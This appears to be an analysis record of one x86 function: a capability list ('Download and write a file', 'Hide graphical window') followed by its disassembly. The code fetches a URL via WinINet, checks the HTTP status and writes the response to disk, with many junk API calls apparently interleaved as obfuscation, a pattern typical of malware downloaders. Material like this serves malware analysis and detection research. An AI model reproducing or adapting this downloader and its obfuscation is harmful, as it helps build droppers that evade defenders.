Function at 0x40231f
Capabilities:
Accept command line arguments
Check http status code
Copy file
Create http request
Delete directory
Download and write a file
Get common file path
Get disk information
Get file attributes
Get memory capacity
Hide graphical window
Identify system language via api
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push 0x218
mov eax, 0x518590
call fcn.004f7cab
mov eax, dword [ebp + 8]
xor esi, esi
push esi
mov dword [ebp - 0x210], eax
mov eax, dword [ebp + 0xc]
push 0x2c
mov dword [ebp - 0x214], eax
mov eax, dword [ebp + 0x10]
push 0xa
push esi
mov dword [ebp - 0x208], eax
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
lea eax, [ebp - 0x1fc]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push esi
push str.._y7c
mov dword [ebp - 0x1e4], esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push esi
call ebx
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
push esi
push esi
push esi
push esi
mov eax, SysReAllocStringLen
push eax
push eax
push eax
push eax
push 0xcf0000
push str.sk
push 0x5448f8
push esi
mov dword [ebp - 0x1e8], esi
call dword [sym.imp.USER32.dll_CreateWindowExA]
push str.km
call ebx
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
push str.._U
mov dword [ebp - 0x1f4], esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0x1868
call ebx
mov edi, dword [sym.imp.USER32.dll_KillTimer]
push eax
call edi
push esi
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
lea eax, [ebp - 0x13c]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
lea eax, [ebp - 0x188]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
call ebx
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
push esi
push 0x544914
mov dword [ebp - 0x204], esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push esi
push 0x100
lea eax, [ebp - 0x11c]
push eax
push esi
push 0x2bbd
push esi
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push 4
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindow]
push esi
push 1
push 0x4f
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
lea eax, [ebp - 0x1fc]
push eax
mov dword [ebp - 0x20c], 4
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
lea eax, [ebp - 0x13c]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
lea eax, [ebp - 0x19c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push 0x887
call ebx
push eax
call edi
push 0x3d2
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x1874
mov dword [ebp - 0x200], 1
call ebx
push eax
call edi
jmp 0x4024dc
mov edi, dword [sym.imp.USER32.dll_KillTimer]
cmp dword [ebp - 0x200], esi
je 0x402508
push esi
push str.._gKY
mov dword [ebp - 0x200], esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push esi
push 0x4f
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
jmp 0x40253c
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x220]
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push esi
push 0x1973
push 0x49
call ebx
push eax
call dword [sym.imp.USER32.dll_SetTimer]
push 0x35
call dword [sym.imp.KERNEL32.dll_SetLastError]
push str.._G9
mov dword [ebp - 0x1f8], esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea eax, [ebp - 0x150]
push eax
push esi
mov dword [ebp - 0x1ec], esi
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x23fa
call ebx
push eax
call edi
push esi
push 0x37
push 0x58
push esi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
push 0x544940
push esi
call dword [sym.imp.USER32.dll_LoadIconA]
lea eax, [ebp - 0x11c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push esi
call ebx
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 7
xor eax, eax
mov byte [ebp - 0x13c], 0
pop ecx
lea edi, [ebp - 0x13b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x178]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
push esi
push esi
push esi
push esi
mov edi, SysReAllocStringLen
push edi
push edi
push edi
push edi
push 0xcf0000
push str.u
push str.nG
push esi
call dword [sym.imp.USER32.dll_CreateWindowExA]
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
push str.._eMt
push str.._ynC
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0xfffffffffffffff0
mov dword [ebp - 0x218], 0x20
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindowLongW]
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push 4
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindow]
push esi
push esi
push esi
push 1
push str.test
call dword [sym.imp.WININET.dll_InternetOpenA]
push esi
mov dword [ebp - 0x1f0], eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x1f0], esi
je 0x4028ed
mov eax, dword [ebp - 0x210]
cmp dword [eax + 0x14], 0x10
jb 0x40267d
mov eax, dword [eax]
push esi
push edi
push esi
push esi
push eax
push dword [ebp - 0x1f0]
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x1e4], eax
lea eax, [ebp - 0x178]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x1e4], esi
je 0x4028ed
push esi
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x204]
push eax
push 0x20000013
push dword [ebp - 0x1e4]
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push 0x3e4
push 0x3dd
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
push esi
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x204], 0xc8
jne 0x4028ed
push esi
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x13c]
push eax
push 5
push dword [ebp - 0x1e4]
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
push esi
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
lea eax, [ebp - 0x13c]
push eax
call fcn.004f71a1
pop ecx
push esi
push 0x100
mov dword [ebp - 0x1e0], eax
lea eax, [ebp - 0x11c]
push eax
push esi
push 0x1d0c
push esi
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push esi
push 5
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 1
push str.._J
push str.._WM
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push esi
push esi
push esi
push esi
push edi
push edi
push edi
push edi
push 0xcf0000
push str.JNM
push str.EA3
push esi
call dword [sym.imp.USER32.dll_CreateWindowExA]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x1e0], esi
jbe 0x4028ed
push dword [ebp - 0x1e0]
call fcn.004036f3
pop ecx
push esi
push 0x4d
push 3
push esi
mov dword [ebp - 0x1e8], eax
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
or dword [ebp - 4], 0xffffffff
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [ebp - 0x1f8]
push eax
push dword [ebp - 0x1e0]
push dword [ebp - 0x1e8]
jmp 0x40288c
mov eax, dword [ebp - 0x1f8]
cmp eax, esi
je 0x40289c
add dword [ebp - 0x1ec], eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x5449b4
call ebx
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push esi
push 0x2d5
push 0x62
call ebx
push eax
call dword [sym.imp.USER32.dll_SetTimer]
push str.._p
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea eax, [ebp - 0x11c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push esi
call ebx
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x1e0]
lea eax, [ebp - 0x1f8]
push eax
mov eax, dword [ebp - 0x1ec]
sub ecx, eax
add eax, dword [ebp - 0x1e8]
push ecx
push eax
push dword [ebp - 0x1e4]
call edi
test eax, eax
jne 0x40280a
mov eax, dword [ebp - 0x1e0]
cmp dword [ebp - 0x1ec], eax
jne 0x4028ed
lea eax, [ebp - 0x178]
push eax
mov dword [ebp - 0x1f4], 1
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
push esi
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
lea eax, [ebp - 0x150]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x1f4], esi
je 0x402b19
mov edi, dword [ebp - 0x214]
lea eax, [ebp - 0x174]
push 0x5449cc
push eax
call fcn.00402036
push dword [ebp - 0x208]
mov dword [ebp - 4], 0x36
push eax
lea eax, [ebp - 0x158]
push eax
call fcn.00402bcd
add esp, 0x14
cmp dword [eax + 0x14], 0x10
jb 0x402935
mov eax, dword [eax]
push esi
push 0x80
push 2
push esi
push esi
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 1
xor edi, edi
lea esi, [ebp - 0x158]
mov dword [ebp - 0x1e0], eax
call fcn.004010fb
push 1
lea esi, [ebp - 0x174]
call fcn.004010fb
lea eax, [ebp - 0x188]
push eax
call ebx
mov esi, dword [sym.imp.USER32.dll_GetWindowRect]
push eax
call esi
lea eax, [ebp - 0x1ac]
push eax
call ebx
push eax
call esi
push str.Yfw
xor esi, esi
push esi
call dword [sym.imp.USER32.dll_LoadCursorA]
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push esi
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
lea eax, [ebp - 0x1bc]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push esi
push str.._Q
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x1e0], 0xffffffff
je 0x402ab1
lea edx, [ebp - 0x1ec]
lea ecx, [ebp - 0x1e8]
call fcn.0040209a
call ebx
mov edi, dword [sym.imp.USER32.dll_UpdateWindow]
push eax
call edi
push esi
lea eax, [ebp - 0x1fc]
push eax
push dword [ebp - 0x1ec]
mov dword [ebp - 0x1fc], esi
push dword [ebp - 0x1e8]
push dword [ebp - 0x1e0]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x5449e8
push esi
call dword [sym.imp.USER32.dll_LoadIconA]
push esi
push esi
push esi
push esi
mov eax, SysReAllocStringLen
push eax
push eax
push eax
push eax
push 0xcf0000
push str.Wf
push str.wi
push esi
call dword [sym.imp.USER32.dll_CreateWindowExA]
call ebx
push eax
call edi
push esi
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push esi
push 0x1225
push 0x5f
call ebx
push eax
call dword [sym.imp.USER32.dll_SetTimer]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push dword [ebp - 0x1e0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 4
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindow]
push esi
call ebx
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, [ebp - 0x21c]
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 1
call ebx
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
jmp 0x402b13
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push str.._K
mov dword [ebp - 0x1f4], esi
call edi
push esi
push str.._aS
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push esi
push esi
push esi
push esi
mov eax, SysReAllocStringLen
push eax
push eax
push eax
push eax
push 0xcf0000
push str.OSj
push str.k
push esi
call dword [sym.imp.USER32.dll_CreateWindowExA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x198]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push str.._lPI
call edi
or dword [ebp - 4], 0xffffffff
xor esi, esi
cmp dword [ebp - 0x1e8], esi
je 0x402b57
push dword [ebp - 0x1e8]
call fcn.004036fe
pop ecx
push esi
push 0x4f
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push esi
push str.._Iu
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea eax, [ebp - 0x224]
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x1e4], esi
je 0x402b8b
push dword [ebp - 0x1e4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea eax, [ebp - 0x150]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push esi
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x1f0], esi
je 0x402bb9
push dword [ebp - 0x1f0]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
call ebx
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
lea eax, [ebp - 0x1dc]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x1f4], esi
je 0x4024d6
mov al, 1
call fcn.004f7d2e
ret